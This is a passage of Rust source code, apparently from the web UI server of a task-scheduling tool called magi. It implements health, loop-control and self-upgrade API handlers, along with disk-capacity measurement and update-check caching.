2659/// Refresh the shared cache and optionally request the same handover as the UI.
2660async fn run_update_recheck(ui: Arc<Ui>) {
2661    loop {
2662        tokio::time::sleep(update_recheck_once(&ui).await).await;
2663    }
2664}
2665
2666async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2667    let cfg = match Config::discover(&ui.repo, None) {
2668        Ok((cfg, _)) => cfg,
2669        Err(e) => {
2670            updater::log_warn(
2671                &ui.home,
2672                &format!("auto-upgrade: config unavailable: {e:#}"),
2673            );
2674            return UPDATE_RECHECK_POLL_MAX;
2675        }
2676    };
2677    if should_spawn_recheck(&cfg.update)
2678        && let Some(checker) = updater::Checker::new(&cfg.update)
2679    {
2680        let progress = updater::read_progress(&ui.home);
2681        let mut latest = checker.cached_update();
2682        if update_recheck_due(&checker, progress.as_ref()) {
2683            match checker.newer_release().await {
2684                Ok(found) => latest = found,
2685                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2686            }
2687        }
2688        if cfg.update.auto_restart
2689            && let Some(latest) = latest
2690        {
2691            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2692            updater::log_step(
2693                &ui.home,
2694                &format!("auto-upgrade: request status {}", response.status()),
2695            );
2696        }
2697    }
2698    recheck_poll_period(&cfg.update)
2699}
2700
2701/// [`UpdateView`] from the same throttled, disk-only state
2702/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2703/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2704/// no cached state at all, which is correct: an operator who turned checking
2705/// off gets no opinion, not a stale one.
2706fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2707    let default;
2708    let cfg = match cfg {
2709        Some(cfg) => cfg,
2710        None => {
2711            default = Config::default();
2712            &default
2713        }
2714    };
2715    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2716    match latest {
2717        Some(latest) => UpdateView {
2718            available: true,
2719            to: Some(latest.tag_name),
2720        },
2721        None => UpdateView {
2722            available: false,
2723            to: None,
2724        },
2725    }
2726}
2727
2728/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2729/// from the parked run's own state when the stage is
2730/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2731/// already on disk in `run.json`, so this reads them fresh rather than
2732/// trusting whatever was true the moment the park was requested.
2733fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2734    let now = Timestamp::now();
2735    let lease = updater::read_lease(&ui.home);
2736    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2737    let run_id = alive
2738        .and_then(|l| l.parked_run.as_deref())
2739        .or(progress.parked_run.as_deref());
2740    let parking = progress.stage == updater::Stage::Parking;
2741    let waited = alive.map_or_else(String::new, |l| {
2742        let secs = updater::waited_secs(l, now);
2743        format!(" (waited {} min so far)", secs / 60)
2744    });
2745    let run_text = run_id
2746        .filter(|_| parking)
2747        .map(|id| match read_run(&ui.runs, id).ok() {
2748            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2749            None => format!("run {id} is finishing"),
2750        });
2751    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2752        .filter(|t| parking && !t.is_empty())
2753        .map(|t| format!("{t} finishing"));
2754    let waiting_on = match (run_text, talks_text) {
2755        (None, None) => None,
2756        (run, talks) => {
2757            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2758            Some(format!(
2759                "{} before the address is handed over{waited}",
2760                parts.join(" and ")
2761            ))
2762        }
2763    };
2764    let detail = progress
2765        .detail
2766        .clone()
2767        .or_else(|| updater::read_note(&ui.home, &progress));
2768    let stalled = updater::stall(&progress, lease.as_ref(), now);
2769    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2770    UpgradeProgressView {
2771        trigger: progress.trigger,
2772        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2773        stuck_kind: stalled.map(|s| s.kind),
2774        handover_alive: alive.is_some(),
2775        stage: progress.stage,
2776        from: progress.from,
2777        to: progress.to,
2778        waiting_on,
2779        started_at: progress.started_at,
2780        updated_at: progress.updated_at,
2781        detail,
2782    }
2783}
2784
2785/// Last successful capacity observations, independent of admission/cleanup.
2786/// Cold or unavailable directory measurements are null, never invented zeros.
2787#[derive(Debug, Serialize)]
2788struct DiskView {
2789    /// Free bytes on the volume holding the runs, when measurable.
2790    #[serde(skip_serializing_if = "Option::is_none")]
2791    free_bytes: Option<u64>,
2792    /// Everything the runs directory occupies, when fully measurable.
2793    runs_bytes: Option<u64>,
2794    /// Everything the runs' worktrees occupy.
2795    worktrees_bytes: Option<u64>,
2796    /// The shared build cache's size, when the config names one.
2797    #[serde(skip_serializing_if = "Option::is_none")]
2798    cache_bytes: Option<u64>,
2799    /// Last bounded cleanup report, including retention and failure reasons.
2800    retention: Option<crate::retention::Report>,
2801}
2802
2803/// Capacity walks have their own demand-driven single flight, not the revision
2804/// worker: a large build cache must never delay revisions or a health response.
2805const DISK_REFRESH: Duration = Duration::from_secs(60);
2806
2807#[derive(Debug, Clone, PartialEq, Eq)]
2808struct DiskScope {
2809    runs: PathBuf,
2810    worktrees: PathBuf,
2811    cache: Option<PathBuf>,
2812}
2813
2814impl DiskScope {
2815    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2816        Self {
2817            runs: ui.runs.clone(),
2818            worktrees: ui.worktrees_root.clone(),
2819            cache: cfg.and_then(Config::cache_dir),
2820        }
2821    }
2822}
2823
2824#[derive(Debug, Clone, Copy, Default)]
2825struct DiskCapacity {
2826    free_bytes: Option<u64>,
2827    runs_bytes: Option<u64>,
2828    worktrees_bytes: Option<u64>,
2829    cache_bytes: Option<u64>,
2830}
2831
2832impl DiskCapacity {
2833    fn measure(scope: &DiskScope) -> Self {
2834        Self {
2835            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2836            runs_bytes: disk_capacity_size(&scope.runs),
2837            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2838            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2839        }
2840    }
2841
2842    fn retain_successes(&mut self, next: Self) {
2843        self.free_bytes = next.free_bytes.or(self.free_bytes);
2844        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2845        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2846        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2847    }
2848}
2849
2850/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2851/// best-effort total, an incomplete observation must not look like an empty tree.
2852fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2853    let metadata = match std::fs::symlink_metadata(path) {
2854        Ok(metadata) => metadata,
2855        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2856        Err(_) => return None,
2857    };
2858    if !metadata.is_dir() {
2859        return Some(if metadata.is_file() {
2860            metadata.len()
2861        } else {
2862            0
2863        });
2864    }
2865    let mut total = 0;
2866    let mut stack = vec![path.to_owned()];
2867    while let Some(dir) = stack.pop() {
2868        for entry in std::fs::read_dir(dir).ok()? {
2869            let entry = entry.ok()?;
2870            let metadata = entry.metadata().ok()?;
2871            if metadata.is_dir() {
2872                stack.push(entry.path());
2873            } else if metadata.is_file() {
2874                total += metadata.len();
2875            }
2876        }
2877    }
2878    Some(total)
2879}
2880
2881#[derive(Debug, Default)]
2882struct DiskObservation {
2883    scope: Option<DiskScope>,
2884    capacity: DiskCapacity,
2885    in_flight: bool,
2886    finished: Option<std::time::Instant>,
2887}
2888
2889impl DiskObservation {
2890    fn observe(
2891        state: &Arc<Mutex<Self>>,
2892        scope: DiskScope,
2893        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2894    ) -> DiskCapacity {
2895        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2896        if observation.scope.as_ref() != Some(&scope) {
2897            observation.scope = Some(scope.clone());
2898            observation.capacity = DiskCapacity::default();
2899            observation.finished = None;
2900        }
2901        let capacity = observation.capacity;
2902        if observation.in_flight
2903            || observation
2904                .finished
2905                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2906        {
2907            return capacity;
2908        }
2909        observation.in_flight = true;
2910        drop(observation);
2911
2912        let refresh = DiskRefresh {
2913            state: Arc::clone(state),
2914            scope,
2915        };
2916        tokio::task::spawn_blocking(move || {
2917            let next = measure(&refresh.scope);
2918            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2919            if observation.scope.as_ref() == Some(&refresh.scope) {
2920                observation.capacity.retain_successes(next);
2921            }
2922            drop(observation);
2923            // The guard also clears the flight on panic or a cancelled,
2924            // not-yet-started blocking job. No failed scan can wedge health.
2925            drop(refresh);
2926        });
2927        capacity
2928    }
2929}
2930
2931struct DiskRefresh {
2932    state: Arc<Mutex<DiskObservation>>,
2933    scope: DiskScope,
2934}
2935
2936impl Drop for DiskRefresh {
2937    fn drop(&mut self) {
2938        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2939        observation.in_flight = false;
2940        if observation.scope.as_ref() == Some(&self.scope) {
2941            // Wait a full period after completion, including failed scans.
2942            observation.finished = Some(std::time::Instant::now());
2943        }
2944    }
2945}
2946
2947impl DiskView {
2948    /// Return immediately, retaining known capacity while one worker refreshes.
2949    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2950        let capacity = DiskObservation::observe(
2951            &ui.monitor.disk,
2952            DiskScope::of(ui, cfg),
2953            DiskCapacity::measure,
2954        );
2955        Self::with_capacity(ui, capacity)
2956    }
2957
2958    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2959        Self {
2960            free_bytes: crate::disk::free_bytes(&ui.runs)
2961                .ok()
2962                .or(capacity.free_bytes),
2963            runs_bytes: capacity.runs_bytes,
2964            worktrees_bytes: capacity.worktrees_bytes,
2965            cache_bytes: capacity.cache_bytes,
2966            retention: ui
2967                .runs
2968                .parent()
2969                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2970                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2971        }
2972    }
2973}
2974
2975/// The daemon's state as the UI presents it.
2976#[derive(Debug, Serialize)]
2977struct DaemonView {
2978    running: bool,
2979    idle: Option<bool>,
2980    dispatch_wait: Option<daemon::DispatchWait>,
2981    pid: Option<u32>,
2982    /// Every task and run currently in flight. Empty when idle; more than
2983    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2984    /// run going at once.
2985    current: Vec<daemon::Current>,
2986    completed: Option<u64>,
2987    stale_for_secs: Option<i64>,
2988}
2989
2990impl DaemonView {
2991    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2992    /// not this UI's — a crashed daemon must not look alive here while
2993    /// `doctor` calls it dead.
2994    fn of(status: Option<daemon::Reading>) -> Self {
2995        let Some(status) = status else {
2996            return Self {
2997                running: false,
2998                idle: None,
2999                dispatch_wait: None,
3000                pid: None,
3001                current: Vec::new(),
3002                completed: None,
3003                stale_for_secs: None,
3004            };
3005        };
3006        let now = Timestamp::now();
3007        let age = status.age_secs(now);
3008        Self {
3009            running: status.running(now),
3010            idle: Some(status.idle),
3011            dispatch_wait: status.dispatch_wait,
3012            pid: status.pid,
3013            current: status.current,
3014            completed: Some(status.completed),
3015            stale_for_secs: age,
3016        }
3017    }
3018}
3019
3020// Discover display configuration off the request path. Capacity measurement
3021// retains its separate single flight and scope/failure handling below.
3022fn refresh_health_config(ui: &Arc<Ui>) {
3023    let mut cache = ui
3024        .monitor
3025        .disk_cache
3026        .lock()
3027        .unwrap_or_else(PoisonError::into_inner);
3028    if cache.loading
3029        || cache
3030            .measured
3031            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3032    {
3033        return;
3034    }
3035    cache.loading = true;
3036    let weak = Arc::downgrade(ui);
3037    std::thread::spawn(move || {
3038        let Some(ui) = weak.upgrade() else { return };
3039        let cfg = deputy_config(&ui.repo);
3040        let update = cached_update_view(cfg.as_ref());
3041        let mut cache = ui
3042            .monitor
3043            .disk_cache
3044            .lock()
3045            .unwrap_or_else(PoisonError::into_inner);
3046        cache.config = cfg;
3047        cache.update = Some(update);
3048        cache.measured = Some(std::time::Instant::now());
3049        cache.loading = false;
3050    });
3051}
3052
3053fn health_counts(
3054    ui: &Ui,
3055    fallback_questions_rev: u64,
3056) -> ApiResult<(usize, usize, usize, u64, usize)> {
3057    let mut index = ui
3058        .monitor
3059        .health_index
3060        .lock()
3061        .unwrap_or_else(PoisonError::into_inner);
3062    let ids = run_ids(&ui.runs);
3063    let seen: HashSet<_> = ids.iter().cloned().collect();
3064    index.runs.retain(|id, _| seen.contains(id));
3065    let mut unreadable = 0;
3066    for id in ids {
3067        // Recheck identity on every request, including atomic replacements
3068        // with preserved length/mtime. A failed stat is never cached as good.
3069        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3070        let bad = match identity {
3071            Ok(identity) => {
3072                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3073                    let bad = read_run(&ui.runs, &id).is_err();
3074                    index.runs.insert(id.clone(), (identity, bad));
3075                    #[cfg(test)]
3076                    {
3077                        index.run_parses += 1;
3078                    }
3079                }
3080                index.runs[&id].1
3081            }
3082            Err(_) => true,
3083        };
3084        unreadable += usize::from(bad);
3085    }
3086    let questions_rev = try_stamps(ui.questions.root(), false, true)
3087        .map(|stamps| stamps_revision(&stamps))
3088        .unwrap_or(fallback_questions_rev);
3089    if index.questions.as_ref().is_none_or(|counts| {
3090        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3091    }) {
3092        let questions = ui.questions.list();
3093        index.questions = Some(QuestionCounts {
3094            revision: questions_rev,
3095            measured: std::time::Instant::now(),
3096            open: questions.iter().filter(|q| q.status.open()).count(),
3097            owner: questions
3098                .iter()
3099                .filter(|q| {
3100                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3101                })
3102                .count(),
3103        });
3104    }
3105    let notifications_rev =
3106        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3107    if index
3108        .notices
3109        .is_none_or(|(rev, _)| rev != notifications_rev)
3110    {
3111        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3112    }
3113    let questions = index.questions.as_ref().unwrap();
3114    Ok((
3115        unreadable,
3116        questions.open,
3117        questions.owner,
3118        notifications_rev,
3119        index.notices.unwrap().1,
3120    ))
3121}
3122
3123async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3124    let revisions = ui.monitor.revisions(&ui).await?;
3125    refresh_health_config(&ui);
3126    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3127        // One read of the status file for the two fields that describe it, so
3128        // `daemon` and `loop` in the same answer cannot disagree about who is
3129        // running the loop.
3130        let reading = daemon::read_status(&ui.home);
3131        // Read on its own line, not inside the literal below: the loop's lock
3132        // is not reentrant, and a guard taken as a temporary there would still
3133        // be held when `loop_view` took it again.
3134        let loop_rev = ui.lock_loop().rev;
3135        let (
3136            runs_unreadable,
3137            questions_open,
3138            questions_needs_owner,
3139            notifications_rev,
3140            notifications_unread,
3141        ) = health_counts(&ui, revisions.2)?;
3142        let ((cfg, config_observed, sizes, measured), update) = {
3143            let cache = ui
3144                .monitor
3145                .disk_cache
3146                .lock()
3147                .unwrap_or_else(PoisonError::into_inner);
3148            (
3149                (
3150                    cache.config.clone(),
3151                    cache.measured.is_some(),
3152                    cache.disk.clone(),
3153                    cache.measured,
3154                ),
3155                cache.update.clone().unwrap_or(UpdateView {
3156                    available: false,
3157                    to: None,
3158                }),
3159            )
3160        };
3161        // Retain the base's capacity observation independently of config
3162        // refreshes. A cold config read may still be pending; an existing
3163        // capacity flight must remain visible to concurrent health requests.
3164        let prior_capacity = {
3165            let mut observation = ui
3166                .monitor
3167                .disk
3168                .lock()
3169                .unwrap_or_else(PoisonError::into_inner);
3170            // Adopt a completed size snapshot only before the scoped capacity
3171            // observer has started. Later scope changes remain its authority.
3172            if observation.scope.is_none()
3173                && let Some(sizes) = sizes
3174            {
3175                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3176                observation.capacity = DiskCapacity {
3177                    runs_bytes: Some(sizes.runs),
3178                    worktrees_bytes: Some(sizes.worktrees),
3179                    cache_bytes: sizes.cache,
3180                    free_bytes: None,
3181                };
3182                observation.finished = measured;
3183            }
3184            observation.scope.as_ref().map(|_| observation.capacity)
3185        };
3186        let disk = if config_observed {
3187            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3188        } else {
3189            serde_json::to_value(DiskView::with_capacity(
3190                &ui,
3191                prior_capacity.unwrap_or_default(),
3192            ))
3193            .ok()
3194        };
3195        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3196        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3197        #[cfg(not(test))]
3198        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3199        #[cfg(test)]
3200        let looping = ui.loop_view(reading.clone());
3201        Ok(Json(HealthView {
3202            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3203            version: env!("CARGO_PKG_VERSION"),
3204            home: ui.home.display().to_string(),
3205            queue_rev: revisions.0,
3206            runs_rev: revisions.1,
3207            questions_rev: revisions.2,
3208            talks_rev: revisions.3,
3209            notifications_rev,
3210            notifications_unread,
3211            loop_rev,
3212            runs_unreadable,
3213            questions_open,
3214            questions_needs_owner,
3215            daemon: DaemonView::of(reading.clone()),
3216            looping,
3217            disk,
3218            update,
3219            upgrade,
3220            upgrade_request_error: ui
3221                .upgrade_request_error
3222                .lock()
3223                .unwrap_or_else(PoisonError::into_inner)
3224                .clone(),
3225        }))
3226    })
3227    .await
3228}
3229
3230/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3231#[derive(Debug, Serialize)]
3232struct LoopView {
3233    /// A scheduler is running, independently of this web process.
3234    running: bool,
3235    /// The scheduler has been asked to stop scheduling new work.
3236    stopping: bool,
3237    /// An explicit operator park was requested, independently from updates.
3238    parking: bool,
3239    /// This scheduler supports durable controls from any web generation.
3240    owned: bool,
3241    /// Repository the loop uses for tasks that name none - what it was
3242    /// started with while it runs, and what a start would use before that.
3243    repo: String,
3244    /// Merge mode override in force, or `null` when each repository's own
3245    /// config decides.
3246    merge: Option<String>,
3247    /// Why the last loop in this process ended, when it ended badly.
3248    ///
3249    /// The only place a crashed loop is visible to someone holding a phone.
3250    /// It is logged at error level as well, but a terminal nobody kept open
3251    /// is not a report, and a loop that died at 3am must not read as merely
3252    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3253    /// answers the same question about the same kind of failure.
3254    last_error: Option<String>,
3255    /// The status file, judged the same way `/api/health` judges it: this is
3256    /// what says whether a loop is alive in some *other* process.
3257    daemon: DaemonView,
3258}
3259
3260/// A legacy embedded scheduler that this web process cannot control.
3261///
3262/// Worker-protocol schedulers use durable controls regardless of which process
3263/// started them. Older schedulers are identified by their foreign heartbeat.
3264#[derive(Debug, Clone, Copy)]
3265struct Foreign {
3266    /// The pid the other process published, when it published one.
3267    pid: Option<u32>,
3268}
3269
3270impl Foreign {
3271    /// Another process's live loop, or `None` when this process is free to
3272    /// run one.
3273    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3274        // A fresh heartbeat with no pid in it is still evidence of a live
3275        // daemon. "Some other process" is the honest answer, and refusing
3276        // to start beside it is the safe one.
3277        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3278            return None;
3279        }
3280        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3281    }
3282
3283    /// How a conflict names it. The pid is the whole point of the message: it
3284    /// is what the operator needs to find the terminal that owns the loop.
3285    fn who(&self) -> String {
3286        match self.pid {
3287            Some(pid) => format!("another magi process (pid {pid})"),
3288            None => "another magi process".to_owned(),
3289        }
3290    }
3291}
3292
3293/// How a loop is started, as a future this module can hold onto.
3294///
3295/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3296/// trait object or a hand-written `Debug` impl for the sake of one seam.
3297type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3298
3299#[cfg(test)]
3300type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3301
3302/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3303#[cfg(test)]
3304fn launch_daemon(
3305    opts: daemon::Opts,
3306    stop: daemon::Stop,
3307) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3308    Box::pin(daemon::serve_until(opts, stop))
3309}
3310
3311/// Local web-control revisions and errors, plus the unit-test launch seam.
3312#[derive(Debug, Default)]
3313struct LoopState {
3314    /// The loop, while there is one.
3315    #[cfg(test)]
3316    live: Option<Live>,
3317    /// Local control changes streamed as `loop_rev`; actual scheduler and
3318    /// execution ownership comes from durable status and OS-held worker leases.
3319    rev: u64,
3320    /// Why the last loop ended, when it ended badly. See
3321    /// [`LoopView::last_error`].
3322    last_error: Option<String>,
3323}
3324
3325/// A loop in flight.
3326#[cfg(test)]
3327#[derive(Debug)]
3328struct Live {
3329    /// The cooperative stop, shared with the loop task.
3330    stop: daemon::Stop,
3331    /// The task itself, kept only to answer whether it is still there: a loop
3332    /// that panicked never records its own end, and without this the view
3333    /// would go on reporting a loop that no longer exists - the one lie that
3334    /// would leave the operator with no button to press.
3335    handle: tokio::task::JoinHandle<()>,
3336    /// What the loop was started with, so the view reports the repository and
3337    /// merge mode its runs will actually use rather than what an edit to the
3338    /// config since would give.
3339    opts: daemon::Opts,
3340}
3341
3342#[cfg(test)]
3343impl Live {
3344    /// Is the task still there? See [`Live::handle`].
3345    fn alive(&self) -> bool {
3346        !self.handle.is_finished()
3347    }
3348}
3349
3350/// Take the loop lock, recovering from a poisoned one.
3351///
3352/// What this mutex holds is a stop flag, a task handle and two counters, none
3353/// of which a panic elsewhere can leave in a state worth refusing to read.
3354/// Propagating the poison instead would mean an operator who can see the loop
3355/// running and can no longer stop it from the only surface they have.
3356fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3357    state.lock().unwrap_or_else(PoisonError::into_inner)
3358}
3359
3360/// `GET /api/loop`.
3361async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3362    blocking(move || {
3363        let reading = daemon::read_status(&ui.home);
3364        #[cfg(not(test))]
3365        let view = ui.try_loop_view(reading)?;
3366        #[cfg(test)]
3367        let view = ui.loop_view(reading);
3368        Ok(Json(view))
3369    })
3370    .await
3371}
3372
3373/// The body of `POST /api/loop`.
3374///
3375/// One required field and nothing else: no `default` and no unknown fields,
3376/// so a body that fails to say which way the switch was flipped is a 400
3377/// rather than a tap that quietly does the opposite of what was pressed.
3378#[derive(Debug, Deserialize)]
3379#[serde(deny_unknown_fields)]
3380struct LoopCommand {
3381    running: bool,
3382    /// Stop the run in flight at its next node boundary rather than letting it
3383    /// finish.
3384    ///
3385    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3386    /// competition is tens of minutes of paid work and finishing it is
3387    /// normally the cheapest thing to do. A park is for the operator who
3388    /// wants the process gone now - to replace the binary, most of all - and
3389    /// it costs at most the node in progress because every node writes its
3390    /// state before the next one starts.
3391    #[serde(default)]
3392    park: bool,
3393}
3394
3395/// Start or control the detached scheduler without waiting for execution
3396/// workers. Only an explicit park asks workers to stop at a node boundary.
3397async fn loop_post(
3398    State(ui): State<Arc<Ui>>,
3399    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3400) -> ApiResult<Json<LoopView>> {
3401    // Taken as a `Result` so a malformed body is a 400 like every other route
3402    // here, rather than axum's default 422 that the UI has no branch for.
3403    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3404    #[cfg(not(test))]
3405    {
3406        if body.running {
3407            ui.start_detached_loop().await?;
3408        } else {
3409            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3410            ui.stop_loop(foreign, body.park)?;
3411        }
3412        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3413    }
3414    #[cfg(test)]
3415    {
3416        blocking(move || {
3417            let reading = daemon::read_status(&ui.home);
3418            let foreign = Foreign::of(reading.as_ref());
3419            if body.running {
3420                ui.start_loop(foreign)?;
3421            } else {
3422                ui.stop_loop(foreign, body.park)?;
3423            }
3424            Ok(Json(ui.loop_view(reading)))
3425        })
3426        .await
3427    }
3428}
3429
3430/// What `POST /api/upgrade` set in motion.
3431#[derive(Debug, Serialize)]
3432struct UpgradeView {
3433    /// The version this process is running.
3434    from: String,
3435    /// The release it is replacing itself with, when there is one.
3436    to: Option<String>,
3437    /// What the operator should expect to happen next.
3438    detail: String,
3439}
3440
3441/// The stage of an upgrade that is still moving, if the record says so.
3442/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3443fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3444    progress.filter(|p| !p.stage.terminal())
3445}
3446
3447/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3448/// Unknown diagnostics retain their complete message without guessing a delay.
3449fn upgrade_retry_after(message: &str) -> Option<u64> {
3450    if !message.contains("GitHub") || !message.contains("rate limit") {
3451        return None;
3452    }
3453    if message.contains("retry now") {
3454        return Some(0);
3455    }
3456    let duration = message
3457        .split_once("resets in ")
3458        .or_else(|| message.split_once("retry after "))?
3459        .1
3460        .split_once(')')?
3461        .0;
3462    let mut rest = duration.trim();
3463    if rest.is_empty() {
3464        return None;
3465    }
3466    let mut total = 0u64;
3467    while !rest.is_empty() {
3468        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3469        let amount: u64 = rest[..n].parse().ok()?;
3470        let scale = match rest[n..].chars().next()? {
3471            's' => 1,
3472            'm' => 60,
3473            'h' => 3600,
3474            'd' => 86400,
3475            _ => return None,
3476        };
3477        total = total.checked_add(amount.checked_mul(scale)?)?;
3478        rest = rest[n + 1..].trim_start();
3479    }
3480    Some(total)
3481}
3482
3483#[derive(Debug, Clone, Serialize)]
3484struct UpgradeRequestFailure {
3485    occurred_at: String,
3486    error: String,
3487    retry_after_secs: Option<u64>,
3488    /// Unix seconds; independent of the phone's polling cadence.
3489    retry_at: Option<u64>,
3490}
3491
3492impl UpgradeRequestFailure {
3493    fn new(error: String) -> Self {
3494        let retry_after_secs = upgrade_retry_after(&error);
3495        let now = std::time::SystemTime::now()
3496            .duration_since(std::time::UNIX_EPOCH)
3497            .unwrap_or_default()
3498            .as_secs();
3499        Self {
3500            occurred_at: jiff::Timestamp::now().to_string(),
3501            error,
3502            retry_after_secs,
3503            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3504        }
3505    }
3506}
3507
3508/// `POST /api/upgrade` - replace this binary with the newest release and come
3509/// back on it.
3510///
3511/// Replace the installed binary, restart the detached scheduler, release the
3512/// web listener, then start the successor. Active task and conversation
3513/// workers retain their immutable executable and continue without parking.
3514///
3515/// A legacy embedded scheduler is the only incompatible owner: its work
3516/// must finish or park before the first migration replaces its process.
3517///
3518/// Answers **202**: the reply has to reach the phone while this process can
3519/// still send one, and the phone learns the deck is back by reconnecting.
3520async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3521    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3522}
3523
3524async fn begin_upgrade(
3525    ui: &Arc<Ui>,
3526    trigger: updater::UpgradeTrigger,
3527    latest: Option<kaishin::LatestRelease>,
3528) -> Response {
3529    let reading = daemon::read_status(&ui.home);
3530    if let Some(other) = Foreign::of(reading.as_ref()) {
3531        return ApiError::conflict(format!(
3532            "{} is a legacy scheduler without detached restart support. \
3533             Finish or explicitly park its work in the existing UI before \
3534             this first migration; independent schedulers do not need this.",
3535            other.who()
3536        ))
3537        .into_response();
3538    }
3539
3540    // A second upgrade while one is moving would replace the binary and
3541    // signal the handover again after `serve` already consumed the first
3542    // signal, leaving the process in `replaced` forever. Try-lock rather than
3543    // wait: a phone connection must not hang behind a GitHub round trip.
3544    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3545        return ApiError::conflict("another request is already preparing an upgrade")
3546            .into_response();
3547    };
3548    // Hold the same gate through recording/clearing the request outcome, so
3549    // an older response cannot overwrite a retry's result.
3550    if trigger == updater::UpgradeTrigger::Auto {
3551        let cfg = match Config::discover(&ui.repo, None) {
3552            Ok((cfg, _)) => cfg,
3553            Err(e) => {
3554                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3555            }
3556        };
3557        let Some(latest) = latest else {
3558            return StatusCode::NO_CONTENT.into_response();
3559        };
3560        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3561            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3562        let decision = {
3563            let failed = ui
3564                .auto_failed_tag
3565                .lock()
3566                .unwrap_or_else(PoisonError::into_inner);
3567            auto_upgrade_decision(
3568                &cfg.update,
3569                updater::disabled_by_env(),
3570                in_motion,
3571                &latest.tag_name,
3572                failed.as_deref(),
3573            )
3574        };
3575        if let AutoUpgradeDecision::Skip(reason) = decision {
3576            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3577            return StatusCode::NO_CONTENT.into_response();
3578        }
3579        return finish_upgrade_request(
3580            ui,
3581            upgrade_checked_for(
3582                ui,
3583                env!("CARGO_PKG_VERSION").into(),
3584                Ok(Some(latest)),
3585                trigger,
3586            ),
3587        );
3588    }
3589    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3590}
3591
3592fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3593    match result {
